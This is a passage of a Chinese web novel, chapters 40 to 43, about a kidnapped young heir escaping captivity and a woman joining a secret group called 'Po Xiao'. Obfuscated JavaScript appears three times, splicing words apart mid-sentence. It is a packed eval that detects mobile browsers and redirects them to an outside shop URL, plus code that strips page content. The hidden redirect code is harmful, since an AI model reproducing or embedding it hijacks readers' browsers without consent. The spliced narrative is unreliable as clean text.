盆沿正中他的额头,一缕暗红的血立刻渗了出来,混着脸上的水珠往下滴。 但他一声都没吭,但那只右眼的光纤更加阴森了。 小流氓心里发颤,一分钟都不想多呆,毕竟这人是他名义上的老大,温四爷的亲儿子。他哆嗦着一转头,连滚带爬地跑了出去,狠狠关上了铁门。 铁门里面很小,四面都是水泥墙,没有窗户,门合上后,就形成了一个彻彻底底的密闭空间。 温雪生扫了眼周围,只觉的阵阵寒意朝脊背上涌,然后一种打心底滋生出的恐惧迅速蔓延至全身,很快盖过了他头上的痛感。 他开始不受控制地发抖,体力已经支撑不住一直抬着头,所以他的脑袋很快耷拉下去,意识也一会儿虚一会儿实,迅速涣散、游离。 恍恍惚惚地,他似乎看到了一个小男孩。 那孩子蜷缩在一个女人怀里。女人的头发很长,卷卷的,长得漂亮且端庄,她身边还有个年纪稍大点的男孩,她紧紧攥着他的手,两人依偎在一起。 这时,她怀里的男孩啜泣起来,可怜巴巴地看向女人:“妈,我饿了……我想吃鸡腿,想吃巧克力,想喝哇哈哈……” 女人轻轻抚摸他的额头:“乖,再忍一忍,说不定明天就能吃到了。” 男孩撅嘴,抹眼泪:“不要不要,你每次都这样说……” 大点的男孩看不下去,从口袋里小心翼翼地掏出一小块用糖纸包着的东西,递到男孩面前:“给你,这是被关进来后,妈给咱俩的糖,我的还没吃呢。” 小男孩立马不哭了,接过糖,剥开糖纸塞进嘴里,脸颊鼓出一个圆圆的形状。没过多久,他就在女人怀里睡着了,呼吸逐渐均匀。 画面戛然而止,温雪生的意识又飘到了另外的画面。 画面里还是那个小男孩,还有他的母亲和哥哥。 一个留着小胡子的矮个儿推开门,端着一个大铁盘,上面摆满了鸡腿、蛋糕、饼干、猪头肉、肉丸子……食物的香气瞬间弥漫了整个密闭空间。 小男孩眼睛亮了,等小胡子一走,就直接扑向了铁盘。 “不能吃!”女人一把拉住他,“爸爸妈妈怎么教你的?陌生人给的东西不能随便吃!” 小男孩委屈,伸出一根指头:“我就吃一小口鸡腿,就一口。” 女人坚决摇头,把他拽回身边,"你看看哥哥。" 一旁的大男孩坐得笔直,眼睛刻意避开了那些食物:“我不饿。” 香味不断飘来,却没有一个人动。 可能是因为太久没吃东西,三个人的体力都不太好了,没多久他们就昏昏沉沉地睡了过去。但小男孩没有真的睡着,等女人和哥哥呼吸平稳后,他悄悄爬到铁盘前,对着猪头肉一口咬下。 女人睡得浅,一睁眼看见他在啃肉,猛地把他拖走,伸手抠他的嘴。哥哥也惊醒了,用力拍他的背。 他呕的一声吐出了肉,却还是有一小块已经咽进了肚子。 女人脸色惨白,跪在地上祈祷,祈求上苍保佑,也祈求丈夫能来救他们。她的声音颤抖,却依然努力保持着镇定。 可她身边的小男孩不太对劲了,他抱住头喊疼,在地上打滚。女人强忍的眼泪终于落下来,她发疯般地拍打铁门,喊:“救救我的孩子!只要能救他,我什么都愿意做!” 接着又是一个新画面。 小男孩恢复意识,睁开眼,但天花板上的大灯太亮,耀得他又把眼睛闭上了,等好不容易适应后才又试着重新睁眼。然后,他好像发现了椅子上打瞌睡的中年男人。 他的手动了一下,发出嘶哑的声音。 男人惊醒,扑到床边,紧紧握住他的小手。 小脸上露出疑惑,他抬手捂住自己的右眼,好一会儿才开口:“我的眼睛……我的眼睛好像坏了。" 男人赶紧抱住他,声音哽咽:"没事没事,以后会好的。" 可这个年纪的男孩还不懂眼睛的重要性,他看起来并不在意,好奇地环顾了下空荡荡的房间,眨巴了两下眼,天真地问:“诶,老爸,我妈呢?还有哥哥呢?” 男人双唇紧闭,没出声,眼睛却红了一圈。 到这里,画面开始扭曲、旋转,然后一点点被黑暗取代。 黑暗里充斥着数不清的、重重交叠的声音: “我们雪生是大诗人啊!” “弟弟,你要是真那么喜欢这个小汽车,就让给你吧。” “雪生来尝尝妈妈刚学的鱼香茄子好吃吗?” “等你上小学后,哥哥罩着你。” …… “雪生,妈妈不会让这样睡下去的……” “用我的血救弟弟吧……” “妈妈来陪你了……” …… “小生生!” …… 温雪生猛喘了一口粗气,胸腔剧烈起伏。 他艰难地抬起头,湿漉漉的黑发黏在额前,视线逐渐清晰。 刚才被合上的那扇铁门,现在却大敞着。 一个长相毫无特点的中年男人坐在铁门前的板凳上,穿着一身黑魆魆的衣服。 温雪生一眼就认出这是个黑打手,他从小接触的这类人,都有着跟这中年男人一样的僵硬坐姿,和警惕的眼神。 那中年男人见他醒了,紧绷的肩膀微微放松,像是舒了口气,却没说什么。 温雪生也不作声,只是继续喘着粗气,声音越来越弱,最后脑袋一歪,竟又昏死过去。 然后,第三盆冷水迎面泼来。 温雪生打了个哆嗦,再次抬起头。 中年男人与他对视,嘴唇紧闭,还是没说话。 接着,这样的戏码又重复了几次。 当第六盆冷水浇下时,温雪生的身体已经不再动弹。 他整个人软绵绵地瘫在地上,就像是死了。 中年男人脸上闪过一丝诧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16563791|181645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 异。他起身走近,拍了拍温雪生的脸。 没有反应。 他又加重力道连拍了几下,温雪生依旧毫无声息。 中年男人终于慌了,急忙将蜷着身体的温雪生翻正过来,只见他双目紧闭,脸色青白交错,看上去十分恐怖。 “有人吗?”男人下意识朝门外喊。可是,他的声音在空荡的走廊里回荡,没有人应答。 他像是想到了什么,快速从随身携带的皮包里掏出一个黑色大哥大,然后按下了一串号码。 等听筒里的嘀嘀声结束后,他压低声音对着话筒说:“老大,这么晚打扰您真对不住,但我这儿出了点状况......是是是,我长话短说。您吩咐要看好那小子别让他断气,我们一直用冷水让他保持清醒,可他的身子骨实在太弱了,刚才就......” 话音未落,大哥大那头就爆发出震耳欲聋的咆哮声。中年男人赶紧把大哥大拿远了些,这期间对方在怒骂中挂断了电话。 中年男人握着大哥大站在原地,有些手足无措。 就在这时,他突然觉得小腿边掠过了一阵疾风。然后,脚踝被什么东西猛地一绊,他眼前的世界顿时倾斜,在身体彻底失去平衡前,眼角余光瞥见了一个飞速袭来的黑影,下一秒,他便全然没了知觉。 温雪生撑着板凳站起身,大口喘着气。 板凳腿上沾着新鲜的血迹,是从那中年男人头上流下来的。 不过,刚才的猛挥板凳的一击耗尽了温雪生所剩无几的力气,他只站了几秒钟,又踉跄着跌坐在地。 之前,他发现那中年男人反复用冷水把他泼醒,他突然产生了一种奇怪的想法——该不会这个人的任务就是让他一直清醒吧? 为了印证这个猜想,他决定装死。 而装死这个把戏,他再熟练不过。 就像在卢氏医院时,他其实早就醒了,却宁愿继续伪装。 他打心底希望自己永远不要醒来,这样就能彻底离开这个令人作呕的世界和虚伪的温四,然后去和妈妈、哥哥团聚。 可是不睁眼,就看不到外面的事。 印象里他好像闻到了一缕若有似无的香气,然后就什么都不记得了。 等他再恢复意识时,已经被绑在了这里,而冷水泼在了他的身上身。 毫无疑问,相隔十二年后,他又被绑架了。 想到这里,他几乎要笑出声。 看来他的死期终于到了。 他本该在十二年前就死在black社会的绑架中,如今命运重演,这就是他的宿命。 于是他放弃了求生的念头,任由意识在往事中沉浮。 直到那句欢快的“小生生”在耳边响起,他平静等死的心才有了波动:一股怒火在胸口燃起,似乎还夹杂着一丝说不清的眷恋。 他还有笔账没跟那个人算清楚。 他开始实施自己的装死计划。 计划顺利,且远超预期,他不仅验证了自己的猜测,还确认了现在密室周围没有其他人,更重要的是,他找到了与外界联系的方法。 他艰难地挪到那昏迷的中年男人身边,一根根掰开对方紧握的手指,从他手里抠出沉重的大哥大。 然后,他颤抖着按下温沙城堡的号码,沙哑地说:“喂,是我。” 41. 第 41 章 听筒里传来男人的声音,很熟悉: “张小姐……” 南希没等对方说完,直接打断,声音干巴巴的,没什么力气:“李管事啊?” 对方:“啊,是。” 南希:“你是想问温雪生是不是在我这对吧?我现在就可以告诉你,他不在。他的失踪跟我没关系,我也在找他。” 李管事沉默了。 有那么几秒钟的时间,南希只能听到手里电流微弱的滋滋声,像是另一头的人在衡量她这话的真假。 李管事:“我了解了。张小姐,你在哪儿?” 南希一愣,视线扫过眼前拥挤的实验室。 张笑远就站在她对面,不到三米的距离,穿着那件半旧不新的皮夹克,面无表情。他旁边是孙红和孙紫,姐妹俩背靠着放满显示器和主机的铁皮柜子。再过去一点呢,是穿着棉麻僧袍的释行和尚,他垂着眼,手里捻动着佛珠。 就在半个小时前,正是眼前这几位,帮她甩掉了那辆黑色越野车。当时对方追得很紧,摆明了不是善茬,在她觉得今天可能要栽的时候,一辆摩托车的引擎声由远及近,如同鬼魅般从岔路杀出,是孙红和孙紫这飞车党。 这次她们没戴头盔,头发在风里甩得像旗帜。 没有任何言语交流,摩托车跟她的切诺基并排行驶了短暂片刻,然后在一个十字路口,毫无预兆地放慢速度,车头猛地一横,硬生生卡死了整条马路。 南希神经紧绷,几乎是凭借本能反应,猛打了一把方向盘,同时脚下刹车急速配合,切诺基轮胎便发出了濒临极限的嘶鸣,然后,整个车身一斜,在地上磨出几道焦黑的弧线,惊险地擦着摩托车尾灯,拐进了右侧路口,消失在扬起的尘土里。 后面那辆黑越野,眼看就要撞上横在路中央的摩托车,只能愤恨地急刹减速。 因为他们不敢真撞上去,一旦出了人命,事情闹大,警察就会介入,那就彻底麻烦了。 孙红孙紫正是吃准了这一点,才这么干的。等那黑越野彻底停死,她们猛地一拧车把,在引擎的咆哮声中,朝路口的另一个方向绝尘而去。 而当那黑越野再重新发动、追到路口时,无论是俩姐妹嚣张的摩托车,还是南希那辆绿色切诺基,都早已没了踪影。 南希的视线停在孙红孙紫身上,再次用眼神向她们道谢,然后她看向了张笑远。 张笑远也正看着她,很轻微地点了一下头。 她立刻领会到了这里面包含的意思,对着话筒说:“那个,李管事,我在济东大学,计算机学院。” 对方回应得很快,没有丝毫犹豫:“好,我知道了。”电话随即被挂断,只剩嘟嘟的忙音。 几乎就在忙音响起的同一时刻,实验室的门被人从外面推开,一个高个儿身影迅速闪了进来,然后反手就把门锁上了。 这人就是这间实验室的主人,宫教授。 他转过身,扫了眼屋子里这一大帮人,推了推眼镜,脸上露出毫不掩饰的无奈:“唉,我没想到,有一天会在我的实验室看到你们这副阵仗。” 孙红走过去,朝他肩膀不轻不重地捶了一拳:“是吗?你身份特殊,这实验室的位置又隐秘,怎么会想不到呢?我看,你在答应笑远入伙的时候,就已经预料到这一天了。” 宫教授叹了口气,抬手揉了揉被她捶过的地方,像是认了命:“可是这一天来得也太快了些吧。” 孙紫也凑近几步,歪着头看他:“怎么?后悔了?” 宫教授张了张嘴,那个“后”字刚冒出半个音,张笑远的声音就插了进来:“老宫是最不会后悔的那个。”他看着宫教授,语气很认真。 这话一出,孙红和孙紫对视一眼,又看向张笑远脸上那莫名笃定的表情,像是同时看到了什么恶心的东西,下意识齐齐往后撤了一步,瞬间拉开了和宫教授之间的距离。 连一直闭眼捻动佛珠的释行都停下了动作,摇了摇头,低低念了一声“阿弥陀佛”。 宫教授脸上的无奈感更重了,几乎要溢出来:“喂喂喂,你们要干嘛?还有,张笑远,我说了多少次,你别总老宫老宫的叫我,就能不能改改这个坏习惯?” 张笑远脸上浮上一丝不解,他好像真不明白大家为什么反应这么大。在他心里,老宫,老孙,老李,这些称呼又有什么不同?他正了正脸色,准备义正辞严地阐述一下这套关于称呼平等的理论。 突然,门被敲响了。 不轻不重,三下。 屋里瞬间安静下来,所有人都看向门口。 紧接着,一个苍老却清晰的声音隔着门板传了进来,每个字都咬得很慢:“夫算者,天地之经纬,群生之元首。” 屋里的几个人对视了一眼,眼睛都亮了一下,显然是都听出了这个暗号,只有南希还懵着,看看这个,又看看那个,没明白那文绉绉的话和眼前的局面有什么关系。 这时,宫教授走过去,开了门。 进来了一个一老一小两个人。 老的那个,满头乱糟糟像鸟窝一样的白发,胡子也是花白的,一缕缕粘在一起,鼻梁上架着一副深色的圆墨镜,遮住了眼睛。 他一手拄着根磨得发油的木拐杖,一只手牵着一个看起来约莫七八岁的小男孩。不过准确地说,应该是那个小男孩牵着他。 老头身上的褂子已经脏得看不出原本的颜色,裤子膝盖处磨得发白。小男孩也一样,穿得破破烂烂,脸上蹭着几道灰,脚上的布鞋前面甚至开了个口子。 这俩人,怎么看都怎么像俩在街头流浪的要饭的。 可是,屋里的人,连同开门的宫教授在内,都微微向这老头鞠了一躬,态度很是恭敬。南希被这突如其来的严肃气氛带动,也不由自主地弯了弯腰,但眼里还是充满了不解。 孙紫瞥见她的表情,挪到她身边,用胳膊肘轻轻戳了她一下,然后凑到她耳边说:“这是个老神仙,可能得有一百岁了。别看他眼瞎,心里明着呢,精通天道。” 南希忍不住又打量了那老头一番,已经不是像了,这人从头到脚,还真就是个在村口晒太阳、伸手讨钱的老要饭的,跟“神仙”二字一点边儿都不沾。 这时,张笑远回过身,面对南希,神情正式了些:“你现在看到的,就是‘破晓’的全部成员。”他抬手,掌心向上,引向那位白胡子老头,“这位是白先生,盲派命理的代表人物,能掐会算,铁口直断,窥探天机如观掌纹,在破晓里,排首位。” 白先生在一旁谦和地笑着,没拄拐杖的那只手在空中摆了摆:“呵呵呵,不敢,不敢。” 张笑远的手接着移向宫教授,正要开口:“这位是……” 南希直接接话:“是宫教授,我知道。济东大学最年轻的教授之一,年轻有为,可受学生们喜欢了。除此之外,他还有另一个身份,温雪生的家庭教师。” 宫教授听完,对她笑了笑:“张南希对吗?我也知道你。” 南希一怔,有些意外:“宫教授可不给我们商学院上课。” 说完,她忽然又想到,难不成是温雪生跟他说的?可凭温雪生那种别扭脾气,怎么会把她说给别人听?尤其这人还是他的老师…… 宫教授像是看穿了她的想法,语气里多了点调侃:“我那傻学生,雪生啊,最近这几个月简直跟变了个人似的。以前他阴沉得能拧出水来,现在嘛,倒是活泛多了,脸上也见了点笑模样。就是在上课时,有时候会莫名其妙地走神,眼睛看着窗外,有时候还会自己突然低下头偷偷笑一下。我一看他那个样子,就知道是谈恋爱了。这事我私下问过他,他脸憋得通红,死活不肯说,最后被我问急了,才支支吾吾承认是被什么‘女鬼’缠了身。 前两天,我在校园里碰见你俩走在一起,再看看他那个摸样,我就全明白了,”他嘴角上翘,“要是我没猜错,你就是那个把他迷得神魂颠倒的‘女鬼’本尊吧?” 南希哪里知道温雪生私底下会有这些事,脸上有点热,心头却莫名泛起一丝隐秘的开心。她嘴唇动了动,刚要说些什么,张笑远那没什么起伏的声音又在耳边响起,打断了这点微妙的氛围。 张笑远:“在‘破晓’,遇到信息技术方面的问题,我们都会找宫教授解决。” 宫教授双手抱在胸前,上半身斜靠在一张堆满文件的实验桌上,自嘲地挑了挑眉:“哦,说得挺好听。其实我就是给他们修电脑,维护监控系统,搞定定位追踪设备啥的,当然了,我也偶尔会客串一下黑客。唉,说白了,在他们这儿,我就是个技术打杂的。” 张笑远瞅了他一眼,刚打算反驳,宫教授像是怕了他又要喊出那个称呼,赶紧收了声,做了个投降的动作。 张笑远叹了口气,便又继续介绍,这次他的手指向了一直安静站在角落的释行和尚:“这位是清心寺的释行师傅,你之前见过,他虽然年轻,但佛法精深,已经过了罗汉之境,信徒非常多。” 那释行和尚听后,白净的脸皮竟然有些泛红,可依然保持着正经的神色,双手合十,低眉垂眼,又念了一句:“阿弥陀佛。” 张笑远微微笑笑,手最后扫过妖娆的孙红和冷艳的孙紫,然后又指向自己:“再加上我们龙虎山的师姐弟三人,就是完整的‘破晓’。” 南希的目光缓缓环视这一圈形态各异、身份悬殊的人,心里有种大开眼界的感觉。从张笑远第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16570484|181645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一次跟她讲什么梦想,什么“破晓”开始,她就觉得很神奇。 今天一见,‘破晓’六人,乍一看乱七八糟,毫无章法,什么人都有,可细细一琢磨,这个组织麻雀虽小五脏俱全,人员配置堪称完美啊! 这里既有宫教授这样的知识分子搞技术支援,又有孙红、孙紫、张笑远这三个龙虎山道士负责武力行动,还有一个释行这样的高僧负责在社会上收拢信徒、积累人脉,最重要的是,竟然还配着个能掐会算的白先生,可以帮助他们趋吉避凶,把握方向! 只是…… 南希的目光忽然落到了那个牵着白先生的小男孩身上。 这小男孩不知什么时候嚼起了泡泡糖,腮帮子一鼓一鼓的,一会儿就吹起个白色的泡泡。 “啪”的一声轻响,泡泡破了,糖膜粘到了嘴和鼻子上。他就伸出脏兮兮的小手,熟练地把糖膜从脸上抠下,然后又塞回嘴里,旁若无人地继续嚼。 南希的嘴角不由自主地抽动了一下,指着他问出了心里的疑虑:“你们‘破晓’不是一共六个人吗?这小孩是怎么回事?”她心里确实不放心,七八岁的孩子,已经懂些事了。难道要让这么个人待在这里,听他们之后可能要讨论的机密吗? 这百分百不行。 古话说,千里之堤溃于蚁穴,往往很多惊天动地的大事,最终的败露就是因为某些看似不起眼的小人物。她必须保持绝对的警惕。 张笑远还没来得及回答,白先生率先开口了,他那戴着墨镜的脸准确无误地“看”向南希所站的方向:“这是我徒儿,他跟在我身边五年多了,已经继承了我全部的知识,等我哪天死了,他自然会接替我的位子,成为‘破晓’新的白先生。” 南希心里顿时一松。 原来是接班人,小乞丐接老乞丐的班,听着倒也合理,符合这些江湖行当的传承规矩。 心里认可了这个孩子的身份后,她再看向眼前的“破晓”,忽然觉得这个组织更加深不可测了。在她读过的那些武侠小说里,像那小男孩这种年纪不大的要饭的,往往才是穿梭于市井,传递消息情报的关键角色。 她正想着,白先生又说话了,这次他把头转向了张笑远,语气也沉了下来:“笑远,听说这次有非常重要的事,所以你才把我们所有人都召集了过来。老朽本不想来蹚这浑水,来这之前,还特地起了一卦。”他微微仰头,像是在回忆卦象,“唉,竟得了个‘吉凶参半’的局。这就好比那车轱辘陷进了烂泥地里,你使多大劲儿它也打滑,光转悠出不來,你要做的这件事准是磕磕绊绊的,不顺当的地方多着呢!还有啊……” 他话锋一转,墨镜再次精准地“盯”住了南希,声音也压低了几分,“要是你这次召集大家来,是因为这个闺女的事,那么老朽劝你,最好别管了。要是你与她扯得太深,卦象必会彻底朝那大凶的地儿偏呐!” 他顿了顿,微微侧头,像是在用另一种视觉观察南希,“这闺女,长得倒是不赖,眼睛水汪汪的带着桃花,按老话讲,这是要走桃花运,碰上对象的好时候。可坏就坏在她这鼻梁根儿上,那儿能瞅见一道竖纹,细得跟头发丝儿似的,直戳戳地通到脑门呐!在命理中,这叫‘悬针煞’,是最倒霉的面相!说明她这人身子骨阴气重,容易招些不干净的东西跟着,自个儿都快保不住了,跟那泥菩萨过河没两样。老朽敢说,她最近肯定要倒大霉,要见血啊!这事儿还邪性得很,谁挨着她近,谁就得跟着遭殃,一个都跑不了!” 南希越听越气,碍于尊老爱幼的美德,还是忍着脾气把他这一长段胡话给听完了。 然后她嗤笑一声,掐着腰嚷起来:“诶诶,你这老头,路是看不见一点儿,需要个小娃娃领着走,面相倒是看得贼清啊,连我鼻子上的小纹纹都给瞧着了!” 这话冷嗖嗖的,任谁听了都不舒服,张笑远想拦着她,可手刚伸出去就被她打了回来。 不过那白先生倒不生气,就像是料到她会这样说似的,反而是他边上的小男孩急了。那孩子从嘴里掏出口香糖攒在手心,昂着头反驳:“你懂什么?我师父他开的是天眼,天眼只看命数,不看俗事儿!” 南希翻了个白眼,心里蓄了上百个词,想要把这小孩怼哭,这次终于被张笑远强行拦住。 只见他挡在南希面前,注视着白先生,正义凛然:“白先生,谢谢您再一次帮‘破晓’窥探天意,但是,这次,我不能听您的话了。张南希将会是‘破晓’的第七位成员,这也是我召集你们到这,想讲的第一件事。” 白先生怔了下,不再出声。 他真是老了,脑子不拐弯了,他怎么没多寻思寻思,破晓的全员会,从来就没出现过外人啊! 42. 第 42 章 实验室的日光灯管接触不良,偶尔发出细微的“嘶嘶”声。 白先生墨镜后的眉头皱了一下。他想起破晓创立的时候,几个热血的孩子外加他这个老头在全羊馆里举杯畅饮,那天,张笑远定下了一条规定:凡成员之难,无论山高水远,代价几何,必倾力相助。 大家虽然半醉半醒,但这条规定,却深深刻在了每一个成员的心里。也正是这条规矩,像黑暗中伸出的一只有力的手,拉住了当年漂泊无定的他。 他这辈子,在江湖飘零,见过太多人情冷暖,像他这种要饭的瞎汉,哪天要是跟谁结了仇,死在了大街上,估计连个收尸的都没有。但他知道,破晓会找到他,给他弄个像样的坟,还会想办法替他报仇。这就是一直藏在他心里,那早就被时代冲刷得、模糊不清的江湖义气。 哪个走江湖的,不看重这个呢? 所以,既然张笑远把这那小闺女带来了,意思很明显,她已经是“自己人”,那么,一切危险已不再考虑范围,他便不好再多说什么。 边上,张笑远似乎完全没有被刚才的插曲影响,破晓六个人好久没聚齐了,他感到很是兴奋,向前迈出了一大步,目光扫过在场每一张熟悉的面孔,然后充满激情地对大家宣布:“那么,接下来我要跟你们说的第二件事,是一个新任务,”他看向南希,“帮助我们未来的新成员张南希,找到温家少爷温雪生。” 说着,他拔高了声音:“破晓第三条规定,团结伙伴,把伙伴的事,当成自己的事!”他手臂一挥,像是要劈开眼前的阻碍,“既然车轱辘陷入了烂泥地里,那么我们这些人,就得一起使劲,把它给拽上来!” 孙红和孙紫对视一眼,没什么表情,但站姿更挺直了些。释行和尚双手合十,默念佛经。宫教授推了推眼镜,嘴角有一丝若有若无的笑意。白先生不出声,算是默认。 南希受宠若惊,双眼瞪得滚圆,却说不出一句话。她自认为见多识广,却还真没见过这场面这架势。之前张笑远那一套激情澎湃的理想主义理论,让她尴尬到想找个洞钻进去,可现在竟让她有些震撼、有些感动…… 到底怎么回事儿? 她挠了挠头,笑了下,半天挤出俩字:“谢谢。” * 密室。 光线忽明忽暗。 地上躺着一个中年男人,一动不动,一看便是失去了意识。 温雪生蹲在他边上,手里紧紧抱着那个砖头似的大哥大,手心隐隐出汗。 他已经对着话筒连说了三个“喂?”,可听筒里仍然只有一片死寂的沙沙声。 没回应。 难不成是因为没有信号? 这地方太隐秘、太偏僻,信号覆盖不了? 不对。就在不久前,他明明看见那个看守他的中年男人,拿着大哥大打过电话…… 一股寒意顺着脊椎爬上来。 他右眼皮跳了下,心里有种不好的预感。在他的印象里,每当他眼皮这么跳,紧接着就没遇到过好事。 他的家庭医生曾告诉他,科学来讲,这是精神紧张导致的眼睑痉挛,源于对事情的负面预设。 他觉得医生说得有道理,并且,对自己这样一个新时代的大学生如此迷信感到羞耻。于是,这次他强迫自己深呼吸,尽量保持平静和理智,然后,他准备挂断这通没意义的电话。 就在拇指即将按下结束键的那一刻,电话那头突然有了动静。 那是一种带着惊讶与玩味的声音: “哦?” 这个声音…… 温雪生的心口一缩,这个声音不属于温沙城堡里的任何人! 可他明明是拨通的温沙城堡前厅的电话! 温雪生立马意识到危险,指尖微微用力,想立刻挂断电话,可心里又莫名涌出一种好奇,就像小钩子那样隐隐牵扯着他,让他没有真的按下挂断键。 “温雪生呀?”那个声音又响起来,带着点笑意,“真有意思,看来我小瞧……” 对方的话没说完,听筒里便传来了急促的盲音:“嘟嘟嘟——” 温雪生最终还是没敢听下去,他控制不住地发抖,牙齿轻轻打颤,意识又短暂地回到了十二年前的那次绑架。 黑暗,窒息,还有铁锈的味道,和现在一样…… 他猛地摇了摇头,试图拜托那些画面。 他告诉自己,他必须镇定,还有,必须思考。 首先,为什么他的电话会是一个陌生人接的? 串线? 不可能这么巧。 他颤颤地翻看手里的大哥大,突然想到,以前,宫教授跟他闲聊时提过的一些课外小知识:有些非法分子会利用技术改装电脑、电话等电器,从而用来窃听或者劫持信号。 难道这个大哥大被改装了? 不管拨什么号码,最后都会联接到那个人那里? 事情似乎比他想的还要复杂。他感觉自己正站在一张无形的巨网中,而收网的线,被紧紧握在那个接电话的人手里。 可是他还不能放弃。那团因为一句“小生生”而燃起的火焰,并没被眼前的情况吓到熄灭。 上次见南希时,她跟那个张笑远在一起。两人靠得很近,有说有笑,阳光洒在他们身上,刺得他眼睛发疼。 他们到底什么关系?她到底是不是在玩弄他?这个疑问像根刺,深深扎在他心口。 她不解释清楚,他就没法瞑目。 或许是这团火气给了他一些力气,他混沌的脑子竟然清楚了些。他想到李管事曾给他搜集到的,那一大摞关于“红发女鬼”的资料,每一页他都认真看了,几乎能背下来。 里面写着,红发女鬼一般在晚上活动,但是有人推测她白天其实也活动,只是会换一个身份隐藏自己。 他又想起南希打扮得靓丽夺目,混在碧海阁面试当明星的小女孩里;还有,她曾经装成怯生生的农村女孩,低着头,提着水桶,在温沙城堡里做保洁…… 他的思路越来越清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16582340|181645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晰。 他一边想,一边把视线定在了水泥地,那昏迷的中年男人身上。 等等,这人的身材比他壮不少…… 不管了,他把犹豫甩出身体,手下动了起来,动作虽然笨拙,却十分坚决。 只见他一件一件把那中年男人身上的衣服扒了下来,先是外套,然后是裤子,最后是里面那件黑色毛衣。 约莫五分钟后,一个穿着不合身黑西装的身影,压着脑袋,步伐很慢地走出了密室。 外面是一片堆满杂物的空地,看起来像是一座废弃已久的厂房。 空气里弥漫着铁锈和灰尘的味道,高高的屋顶破开了好几个不规则的大洞,透过这些洞,抬头就可以看到深黑色的天和几颗稀疏的星星。 温雪生在密室里已经不知道时间,心想原来是晚上了,怪不得刚才那个中年男人朝外面喊人,却没得到任何回应。 正想着,他突然听到一阵“呼噜呼噜”的声音,心里一颤,立马蹲下身子躲到一个破铁皮后面,然后探出半只眼睛循声张望。 在不远的地方,有一台巨大的废机器。机器旁边好像蜷着两个睡死过去的小打手。 原来是打呼噜的声音…… 温雪生舒了口气,又慢慢地从破铁皮后面走出来,视线却一直没离开那俩打手。 其中有个小流氓,温雪生还记得,那是第一次用冷水泼他脸,用盆子砸他头的那个。 他有火气,一时也想找个盆,狠狠砸过去。 不过也只能想想,他很快转过身,计划彻底逃出这个地方。 虽然腿脚因长时间的捆绑还有些麻木,但他强忍着不适,尽量放轻脚步,小心翼翼地绕过地上散落的碎砖、断裂的金属零件和不知名的垃圾,朝着厂房大门的方向挪去。 厂房外,一片无边的黑暗。 月光很冷清,把他摇晃的身影拉得又长又扭曲。 周围,枯草一块一块的,长得有半人那么高;远处,几棵早已死去的大树,枝干狰狞地伸向天空,像鬼一样。 在温雪生视线所能到达的最远处,隐约瞧着些连成模糊一片的微弱灯光,那应该是城市的方向。 他想,看来这个厂房离市里比较远,如果刚才接电话的人在济东市里的话,应该不会这么快赶过来找他。 他还有逃跑的时间。 尽管他的身体状况很糟糕,走得也很慢,但他相信,只要小心,只要坚持,就一定能回去,一定!等到了市里,找到一部安全的电话,联系到温沙城堡,联系到李管事,一切就好说了。 他充满着希望,咬紧牙关,拖着沉重麻木的双腿,深一脚浅一脚地踩在杂草和土地上。 夜风吹在他脸上,带着凉意,却让他精神振奋。 然后,就在这时。 身后突然传来一阵水流冲击地面的声音。 一个懒洋洋的,带着浓重睡意的话声突兀地响起: “喂,你去哪儿啊?里面那大少爷还醒着吗?” 43. 第 43 章 夜已经深了,卢氏医院急诊楼的还亮着灯。 一位穿着皮衣的短发男人,在一名挎着红绶带护士的引导下,走进了输液病房。 男人个子很高,身形挺拔,即使微微佝偻着腰,也难掩一种利落的帅气。 病房里值班的小护士听见动静,赶紧迎了出来。 “他……” 引导护士刚要开口,皮衣男已经抢先一步:“急性肠胃炎,麻烦……赶紧挂水。” 小护士见他脸色煞白,一只手还死死捂着肚子,不敢怠慢,把引导护士的交接都省了。 “您别急,慢慢说,先躺下。”她声音很温柔,伸手扶住皮衣男的胳膊,把他引到最近的一张空床边,让他慢慢躺下。 安顿好病人,她走到桌边,拉开抽屉,取出一根体温计,然后捏着体温计的一端,手腕熟练地一甩,水银柱被精准地甩回了最低点。 “先生,先量一下体温。” 说着,她又走回床边,轻柔地撩开病人的皮衣和里面毛衣的圆领,将体温计塞进他的腋窝。 做完这些后,她在病床边上的电脑前坐下,按了开机键,显示器亮起了幽幽的绿光。等待系统启动的功夫,她看了看床上摸样痛苦的病人,着急敲了几下键盘,调出档案信息。 “嗯……您是张笑远先生,对吗?”她看着屏幕问。 张笑远愣了一下,应道:“哦,对。你们医院真高级,我的资料都能从电脑上查着?” 小护士脸上露出一丝自豪:“我们院长是外国留学回来的,一直讲究国际化,这些电脑啊啥的,都是他从外国专门进口的高级设备。” 